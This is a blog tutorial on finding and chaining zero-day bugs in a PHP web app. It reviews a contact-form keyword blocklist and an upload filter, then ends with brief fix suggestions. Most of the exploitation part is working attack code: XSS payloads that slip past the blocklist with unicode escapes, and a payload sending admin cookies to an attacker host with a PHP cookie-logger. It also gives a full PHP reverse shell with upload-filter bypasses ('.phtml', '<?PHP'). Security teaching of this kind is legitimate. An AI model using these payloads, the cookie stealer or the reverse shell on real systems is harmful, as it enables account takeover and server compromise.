Introduction to 0-Day Hunting/chaining vulnerabilities
Hello everyone, I wanted to write a blog on how I go around my method of thinking for finding zero-days. I have found a few zero-days in the past. I haven't written a blog about them yet though maybe in the future I will. Let's get into this now. (Please note the code may be sanitized on my Blog so if that happens and some of the code doesn't make sense that is why! My apologies in advance)
What will be covered today?
- What is a zero-day (0day)
- Picking a target to hunt bugs
- Hunting Tips/Methodology
- Identifying/Chaining/Exploiting issues
- Potential Patches
What is a zero-day?
A zero-day vulnerability, at its core, is a flaw. An unknown vulnerability and or exploit in the wild affecting software like Word or something like WordPress is considered an 0-Day etc. It can also be a vulnerability in hardware like a TV or a Router.
Picking a target
Steps towards picking a good target would be a large application and if you're just starting something like an E-commerce Based CMS. "E-commerce open source" Googling something like this usually returns a list of big CMS's.
I then usually look for publicly known vulnerabilities in the CMS not only to know that if I find that vulnerability later on it's not a zero-day as it's already been appended a CVE but if its something like a Pre-Auth SXSS (Unauthenticated SXSS) I could potentially abuse that to gain access as an Admin and exploit an RCE Zero-Day I found or whatever Post-Auth Bug it is you've found.
I always recommend Open Source Based Applications because the source code can help you massively when looking for vulnerabilities and just knowing how certain functionalities truly work.
E.g. If you had a ticket system and it had a unique functionality you could go through the source code and then read it and see how it works in the Backend other than just trying to exploit it.
Hunting Tips
Finding a vulnerability is all about trial and error, you want to always use that application properly as intended but then you want to go over it again and this team try breaking it.
- Use the application properly then try breaking it
- Always read the source code on a page/function
- Utilise Google/Any other search engine to your advantage
- Just learn the application and its reasoning which will come with time
- Do not stop after finding something like a Post-Auth SQLI, RCE etc try chaining it
Identifying/Chaining/Exploiting issues
Let's say we have an Open Source Application setup and configured.
We have access to the source code which is one of the key things for me personally when I want to find a bug in an "open source" application.
Firstly I always check what kind of files/directories are available and take note of the names and file extensions thus helps us identify Admin Login Pages, hidden files etc.
Now we see that we can register an account, let's view the source code for the "index.php" file.
index.php analysis
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['msg'] = "You must log in first";
header('location: login.php');
}
if (isset($_GET['logout'])) {
session_destroy();
unset($_SESSION['username']);
header("location: login.php");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Administrator Panel</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="header">
<h2>Admin Page</h2>
</div>
<div class="content">
<!-- notification message -->
<?php if (isset($_SESSION['success'])) : ?>
<div class="error success" >
<h3>
<?php
echo $_SESSION['success'];
unset($_SESSION['success']);
?>
</h3>
</div>
<?php endif ?>
<!-- logged in user information -->
<?php if (isset($_SESSION['username'])) : ?>
<p>Welcome <strong><?php echo $_SESSION['username']; ?></strong></p>
<p> <a href="index.php?logout='1'" style="color: red;">logout</a> </p>
<?php endif ?>
</div>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>Table with database</title>
<style>
table {
border-collapse: collapse;
width: 100%;
color: #588c7e;
font-family: monospace;
font-size: 25px;
text-align: left;
}
th {
background-color: #588c7e;
color: white;
}
tr:nth-child(even) {background-color: #f2f2f2}
</style>
</head>
<body>
<table>
<tr>
<th>Id</th>
<th>Email</th>
<th>Contact Message</th>
</tr>
<?php
$conn = mysqli_connect("localhost", "sql_username", "sql_password", "sql_db");
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT id, user_name, user_email, user_message FROM users_data";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "<tr><td>" . $row["id"]. "</td><td>" . $row["user_email"] . "</td><td>"
. $row["user_message"]. "</td></tr>";
}
echo "</table>";
} else { echo "0 results"; }
$conn->close();
?>
</table>
</body>
</html>
Firstly it checks if we're authenticated before displaying anything on "index.php"
if (!isset($_SESSION['username'])) {
$_SESSION['msg'] = "You must log in first";
header('location: login.php');
$_SESSION is an associative array that contains all session variables. If it isn't set then it'll ask you to log in and then it'll redirect you to the login.php page. So we cannot directly just access /index.php!
<!-- logged in user information -->
<?php if (isset($_SESSION['username'])) : ?>
<p>Welcome <strong><?php echo $_SESSION['username']; ?></strong></p>
<p> <a href="index.php?logout='1'" style="color: red;">logout</a> </p>
<?php endif ?>
</div>
Here we can see that it is checking if the session contains a username and if so it's echoing that username back to us, note there is no sanitization so if the register.php isn't sanitizing the user input either then we could have Self-StoredXSS which we could try finding a CSRF Vulnerability to leverage it to a Post-Auth SXSS.
<?php
$conn = mysqli_connect("localhost", "sql_username", "sql_password", "sql_db");
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT id, user_name, user_email, user_message FROM users_data";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
echo "<tr><td>" . $row["id"]. "</td><td>" . $row["user_email"] . "</td><td>"
. $row["user_message"]. "</td></tr>";
}
echo "</table>";
} else { echo "0 results"; }
$conn->close();
?>
</table>
</body>
</html>
$conn = mysqli_connect("localhost", "sql_username", "sql_password", "sql_db");
Here it defines a variable called "conn" which connects to a database (our local DB)
It then defines another variable called "SQL"
$sql = "SELECT id, user_name, user_email, user_message FROM users_data";
This is a SQL Query that selects the following columns: id, user_name, user_email and user_message from the users_data table inside of the "sql_db" database.
This will dump the data, I will post a screenshot below.
Here this query just says SELECT the "id" and "username" column from the user's table where the "username" value is "admin"
echo "<tr><td>" . $row["id"]. "</td><td>" . $row["user_email"] . "</td><td>"
. $row["user_message"]. "</td></tr>";
This is just echoing the data onto the page inside of the index.php page so it is pulling and printing the data from the Database. Take note that it is not getting the "user_name" column data?? Possibly because it is vulnerable to XSS??
Let's continue by viewing regiser.php to confirm if that XSS in the dashboard "index.php" is valid or if it's sanitizing the username before actually creating the account.
register.php Analysis
<?php include('server.php') ?>
<!DOCTYPE html>
<html>
<head>
<title>Register an account with us!</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="header">
<h2>Register</h2>
</div>
<form method="post" action="register.php">
<?php include('errors.php'); ?>
<div class="input-group">
<label>Username</label>
<input type="text" name="username" value="<?php echo $username; ?>">
</div>
<div class="input-group">
<label>Email</label>
<input type="email" name="email" value="<?php echo $email; ?>">
</div>
<div class="input-group">
<label>Password</label>
<input type="password" name="password_1">
</div>
<div class="input-group">
<label>Confirm password</label>
<input type="password" name="password_2">
</div>
<div class="input-group">
<button type="submit" class="btn" name="reg_user">Register</button>
</div>
<p>
Already a member? <a href="login.php">Sign in</a>
</p>
</form>
</body>
</html>
What we need to take note of here is the "include" for "server.php" it seems that it is echoing the username value though!
<input type="text" name="username" value="<?php echo $username; ?>">
server.php Analysis
<?php
session_start();
// initializing variables
$username = "";
$email = "";
$errors = array();
// connect to the database
$db = mysqli_connect('localhost', 'mysql_user', 'mysql_password', 'mysql_db');
// REGISTER USER
if (isset($_POST['reg_user'])) {
// receive all input values from the form
$username = mysqli_real_escape_string($db, $_POST['username']);
$email = mysqli_real_escape_string($db, $_POST['email']);
$password_1 = mysqli_real_escape_string($db, $_POST['password_1']);
$password_2 = mysqli_real_escape_string($db, $_POST['password_2']);
// form validation: ensure that the form is correctly filled ...
// by adding (array_push()) corresponding error unto $errors array
if (empty($username)) { array_push($errors, "Username is required"); }
if (empty($email)) { array_push($errors, "Email is required"); }
if (empty($password_1)) { array_push($errors, "Password is required"); }
if ($password_1 != $password_2) {
array_push($errors, "The two passwords do not match");
}
// first check the database to make sure
// a user does not already exist with the same username and/or email
$user_check_query = "SELECT * FROM users WHERE username='$username' OR email='$email' LIMIT 1";
$result = mysqli_query($db, $user_check_query);
$user = mysqli_fetch_assoc($result);
if ($user) { // if user exists
if ($user['username'] === $username) {
array_push($errors, "Username already exists");
}
if ($user['email'] === $email) {
array_push($errors, "email already exists");
}
}
// Finally, register user if there are no errors in the form
if (count($errors) == 0) {
$password = md5($password_1);//encrypt the password before saving in the database
$query = "INSERT INTO users (username, email, password)
VALUES('$username', '$email', '$password')";
mysqli_query($db, $query);
$_SESSION['username'] = $username;
$_SESSION['success'] = "You are now logged in";
header('location: index.php');
}
}
// ...
// LOGIN USER
if (isset($_POST['login_user'])) {
$username = mysqli_real_escape_string($db, $_POST['username']);
$password = mysqli_real_escape_string($db, $_POST['password']);
if (empty($username)) {
array_push($errors, "Username is required");
}
if (empty($password)) {
array_push($errors, "Password is required");
}
if (count($errors) == 0) {
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$results = mysqli_query($db, $query);
if (mysqli_num_rows($results) == 1) {
$_SESSION['username'] = $username;
$_SESSION['success'] = "You are now logged in";
header('location: index.php');
}else {
array_push($errors, "Wrong username/password combination");
}
}
}
Straight away one can see that there is no actual sanitization for the user input however you may have noticed the following function being used.
mysqli_real_escape_string()
How it's being used
$username = mysqli_real_escape_string($db, $_POST['username']);
$email = mysqli_real_escape_string($db, $_POST['email']);
$password_1 = mysqli_real_escape_string($db, $_POST['password_1']);
$password_2 = mysqli_real_escape_string($db, $_POST['password_2']);
Some may be asking themselves does this function mean that it will sanitize the input before it enters the DB? Yes. It does, however, does it prevent XSS? No! If we observed something in place like "HTMLSpecialChars" on the input we enter then yes, that'll be sanitizing user input correctly preventing XSS.
mysqli_real_escape_string() "escapes" special characters so that MySQL interprets them as literal string characters rather than operators in the query. These functions only affect characters that are important to SQL commands, and will not affect legitimate input, while foiling nefarious users. (This tip can help you spot potential SQL Injection vulnerabilities if the function is not in place)
Trying to do a 'OR 1=1 -- -' SQL Injection Query we get the backslashes in place to prevent the query from being valid
As you see the query is escaped and that means no SQL Injection took place. :)
Let's try XSS?
XSS Confirmed, we set the username to a payload that escapes the strings, tries to fetch an invalid image and then when the onerror event handler is triggered we set a prompt(document.cookie) to display the cookie.
Next, we will be viewing the contact.html
contact.html Analysis
<form method="post" action="process.php">
<link rel="stylesheet" href="style1.css">
<div class="container">
<div class="row">
<h1>Contact us</h1>
</div>
<div class="row">
<h4 style="text-align:center">We'd love to hear from you!</h4>
</div>
Name : <input type="text" name="user_name" placeholder="Enter Your Name" /><br />
Email : <input type="email" size="500" name="user_email" placeholder="Enter Your Email" /><br />
Message : <textarea name="user_text"></textarea><br />
<input type="submit" value="Submit" />
</form>
This is simply just input boxes but it sends a post request to "process.php" let's analyse that.
process.php Analysis
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {//Check it is comming from a form
$mysql_host = "localhost";
$mysql_username = "mysql_username";
$mysql_password = "mysql_password";
$mysql_database = "mysql_dbname";
$u_name = $_POST["user_name"]; //set PHP variables like this so we can use them anywhere in code below
$u_email = $_POST["user_email"];
$u_text = $_POST["user_text"];
$untrustedInput = $u_name . $u_email . $u_text;
$blockedWord = ["onmouseover", "onerror", "alert", "prompt", "confirm", "svg", "img", "onclick", "script", "SCRIPT", "src", "onmouseover", "write", "eval", "atob", "onloaddata", "href", "iframe"];
foreach ($blockedWord as $bw){
if (strpos($untrustedInput, $bw) !== false) {
die("Malicious Input Detected.");
}
}
if (empty($u_name)){
die("Please enter your name"); //checks if the username is empty
}
if (empty($u_email) || !filter_var($u_email, FILTER_VALIDATE_EMAIL)){
die("Please enter valid email address"); //checks if its a valid email
}
if (empty($u_text)){
die("Please enter text"); //checks if the message box is empty
}
$mysqli = new mysqli($mysql_host, $mysql_username, $mysql_password, $mysql_database); //connects to our DB using the variables above
//Output any connection error
if ($mysqli->connect_error) {
die('Error : ('. $mysqli->connect_errno .') '. $mysqli->connect_error);
}
$statement = $mysqli->prepare("INSERT INTO users_data (user_name, user_email, user_message) VALUES(?, ?, ?)"); //prepare sql insert query
//bind parameters for markers, where (s = string, i = integer, d = double, b = blob)
$statement->bind_param('sss', $u_name, $u_email, $u_text); //bind values and execute insert query
if($statement->execute()){
print "Hello " . $u_name . "!, your message has been saved!";
}else{
print $mysqli->error; //show mysql error if any
}
}
?>
Right away we see there is a custom WAF but it isn't as good as it may seem at first sight.
$untrustedInput = $u_name . $u_email . $u_text;
$blockedWord = ["onmouseover", "onerror", "alert", "prompt", "confirm", "svg", "img", "onclick", "script", "SCRIPT", "src", "onmouseover", "write", "eval", "atob", "onloaddata", "href", "iframe"];
You see the issue with this is that we want to be blocking special characters like double quotes, single quotes "'>< and then tags, event handlers and attributes.
foreach ($blockedWord as $bw){
if (strpos($untrustedInput, $bw) !== false) {
die("Malicious Input Detected.");
}
}
This says for each blocked word in any of those three text boxes ($untrustedInput = $u_name . $u_email . $u_text;) to stop everything and show the following message "Malicious Input Detected." However, If it doesn't contain any blocked values from the blockedWord variable then it'll continue the process.
if($statement->execute()){
print "Hello " . $u_name . "!, your message has been saved!";
}else{
print $mysqli->error; //show mysql error if any
}
I believe I see an Information Disclosure, if we overwrite the byte limit it can insert into the column then it may leak that column name. Let's try that quickly then review what we've found so far? However, this may just be the way my DB is configured and not the code.
As you see below it is showing an error and displaying the column name, this is a MySQL Error so the chances are if the install is docker and creates the DB then this may be an issue in their configuration! Always follow their notes when trying to break their application else they make not be able to reproduce/accept as a valid bug.
Why does this happen? Let's review our MySQL Column information.
varchar and or char is the limit of bytes that the specific column can intake and process. In our case If it's over 60 bytes, it will not store it but instead, that code will return the error given by MySQL instead it should return its error saying "Name is too long" so if their default configuration is set to sixty bytes and you overwrite it to 61 bytes and it returns the MySQL Errors then you could say "oh ok, I now know a column and I also know this is storing in a Database, can I chain this information with a SQL Injection"? When I say chain I mean just knowing about one column available and possibly in the future finding the same sort of information disclosure but maybe it's disclosing much more sensitive information?
Review the bugs and possibilities we found
- Self Stored XSS
- CSRF I do not see any CSRF Tokens or any preventions on index.php
- Possible StoredXSS on the contact form which we know is being displayed on the admin dashboard (index.php)
- Information Disclosure
Self XSS chain with CSRF:
Now I would say if there was an update function for the username on "index.php" and it didn't consist of any CSRF Protections and HTTPOnly is off then we could chain this from a SelfXSS to an ATO via Cookie Stealing.
CSRF > Cookie Stealing > Authenticate with the Cookie
I have a few videos of me abusing CSRF Vulnerabilities on my YouTube Channel one being an ATO for Audi.
Possible StoredXSS:
It's not a possibility it is a definite if this is the only protection which from what we see it is, let's exploit this!
Exploiting StoredXSS to get ATO
For this, we're going to use a basic but effective payload in our case, we need to create a basic layout of blocked tags, attributes and event handlers.
onmouseover", "onerror", "alert", "prompt", "confirm", "svg", "img", "onclick", "script", "SCRIPT", "src", "onmouseover", "write", "eval", "atob", "onloaddata", "href", "iframe"
So we need to exclude anything from the above we have multiple options but two that come to my mind are the "style" tag and the "onanimationend" event handler, the other option contains the body" tag and "onload" event handler.
Some may say but how are we going to pop an alert if alert, prompt, confirm and atob is blocked? Well, I will explain that now, we're going to use Unicode.
2.<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="\u{61}\u{6C}\u{65}\u{72}\u{74}(document.cookie)"></video>
"><BODY onload=\u{61}\u{6C}\u{65}\u{72}\u{74}(document.cookie)>
Now because quite often the "onload" event handler is blocked I think the first payload would work better assuming that we are allowed to use single quotes, double quotes etc.
Let's give the first payload a shot (We could also do BlindXSS Payloads here too)
XSS Confirmed, this works as mentioned before because we do use any black listed words.
We confirmed that it works so now we can try stealing the cookie, firstly let's confirm HTPPOnly is off by default.
Good! Now let's create our XSS Payload and CookieStealer
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://yourhost:8000/lol.php?c=' + document.cookie;"></video>
Now on your machine just create a file named "lol.php" in any working directory.
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://www.google.com/");
exit;
?>
Here we define a variable called "logFile" which logs cookies to "cookieLog.txt", secondly we define a variable called "cookie" which is looking for a request the "c" Parameter E.g. "/lol.php?c=' + document.cookie" the rest of the code isn't important for us to take note of.
Now start an HTTP Server in my case I will be using python (python3 -m http.server) additionally you could use Ngrok although an HTTPServer would be safer as it's using your Internal IPv4 and not a logged HTTP Server, if you do not know your internal IP Address on Linux you can do "ifconfig" (Debian, Ubuntu) and for Windows "ipconfig"
Finally, you should now have the following
- ```php $logFile = "cookieLog.txt"; $cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a"); fwrite($handle, $cookie . "\n\n"); fclose($handle);
header("Location: google.com"); exit; ?>
inside of lol.php
2.
3.
Any HTTP Webserver
python3 -m http.server
Sent successfully!
It grabs it from the DB.
Let's check our HTTP Server.
There we go, we now have the admin cookie. Let's authenticate!
I am unauthenticated in my Firefox Browser. I am going to add the cookie!
Now I am going to try viewing "index.php"
I am in! Now we see "upload.php" and we can see that there is an upload option on the administrator dashboard
upload.php Analysis
<?php
function endsWith($haystack, $needle)
{
$length = strlen($needle);
if ($length == 0) {
return true;
}
return (substr($haystack, -$length) === $needle);
}
if(!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
$path = strtolower($path);
if(endsWith($path, ".php")){
die("Extension not allowed!");
}
if(strpos(file_get_contents($_FILES['uploaded_file']['tmp_name']), "<?php") !== False){
die("Malicious content detected!");
}
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>
if(!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
$path = strtolower($path);
if(endsWith($path, ".php")){
die("Extension not allowed!");
}
Exploiting for Code Exec (2 methods)
One can see that the upload path is /uploads and it is not allowing ".php" extensions, we can simply bypass this by doing "filename.phtml" etc which will still be rendered as a PHP File!
Example
if(strpos(file_get_contents($_FILES['uploaded_file']['tmp_name']), "<?php") !== False){
die("Malicious content detected!");
}
It is also checking for the PHP Header inside of our file so if we upload a file with "hello.phtml" it should be blocked if the PHP Header is inside of that file, it's using the file_get_contents function to check that :)
Let's try uploading an empty .phtml file and see if we have an extension bypass which is harmless unless we can get RCE or some sort of execution.
Let's try uploading it but this time with some PHP content inside
<?php
print("test")
?>
That failed :/
However I have an idea, PHP code can be ran without the PHP header if we define <? code(); ?> it'll still be rendered and executed as PHP. The check they're doing is very weak just checking for the PHP Header and .PHP extension it would be better to not allow any extensions other than png, jpeg, jpg etc. You also want to block Content Types if possible :)
<?
set_time_limit (0);
$VERSION = "1.0";
$ip = '$IP'; //edit this setting
$port = $PORT; //edit this settings
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Let's upload this just create a file named "pwn.phtml" have those contents above in the file and let's try pwn it. (It's important to know that the method I am showing requires the php.ini configuration file for apache to have "short_open_tag" enabled (on) by default it is off, that does not mean we cannot exploit this in the wild as I have another method to show you :) However, I believe even though it requires you to edit this sometimes the docker image does it as part of a configuration thing. This is something you can check.
Oddly enough it says it's enabled by default however for me it was not!
- Enable "short_open_tag" "/etc/php/7.4/apache2/php.ini"
- Start an NC Listener on the port you chose
Upload the file "pwn.html"
Based on the above code we know that it's storing the files in "/uploads"
$path = "uploads/";
Trigger the reverse shell go to "host.com/Development/uploads/pwn.html"
Code execution, however, this method required us to change a setting. Let's do this again but without editing any settings, let's turn the "short_open_tag" setting off.
Edit the "pwn.phtml" file and add the following at the top
<?PHP
It is simply checking for "<?php" but if we capitalise on the PHP Tag then we should bypass the filter.
Let's try uploading the file?
Success! So why does this work? I will elaborate a little more.
if(!empty($_FILES['uploaded_file'])) { $path = "uploads/"; $path = $path . basename( $_FILES['uploaded_file']['name']); $path = strtolower($path); if(endsWith($path, ".php")){ die("Extension not allowed!"); }
We bypass the extension check via ".phtml" and it's only checking for ".php"
if(strpos(file_get_contents($_FILES['uploaded_file']['tmp_name']), "<?php") !== False){ die("Malicious content detected!"); }
Here it is only checking for the "<?php" which is the regular header instead it should be checking for "<?" "<?php" <?PHP" etc and because it's still valid if it's capitalised it gets rendered as valid PHP Code giving us code execution.
Additionally, you could have got another chain via CSRF on the upload but in my opinion, this method was better! This was a formal blog and a lot was repeated so the readers understand!
Fixing some bugs
- Register SSXSS
$u_name = filter_var($_POST["user_name"], FILTER_SANITIZE_STRING);
$u_email = filter_var($_POST["user_email"], FILTER_SANITIZE_EMAIL);
$u_text = filter_var($_POST["user_text"], FILTER_SANITIZE_STRING);
A better option would be using HTMLSpecialChars.
- RCE via upload
I suggest looking for all PHP Headers and disabling execution on your server also block more extensions not just ".php"
- CSRF
Consistent CSRF Tokens across the Web Application.
- Information Disclosure (super low serv)
Don't display SQL Errors back to the user do something like an if statement so if the SQL Returns an error about the byte size you show an error saying "Name is too long" instead of returning the MySQL Error itself.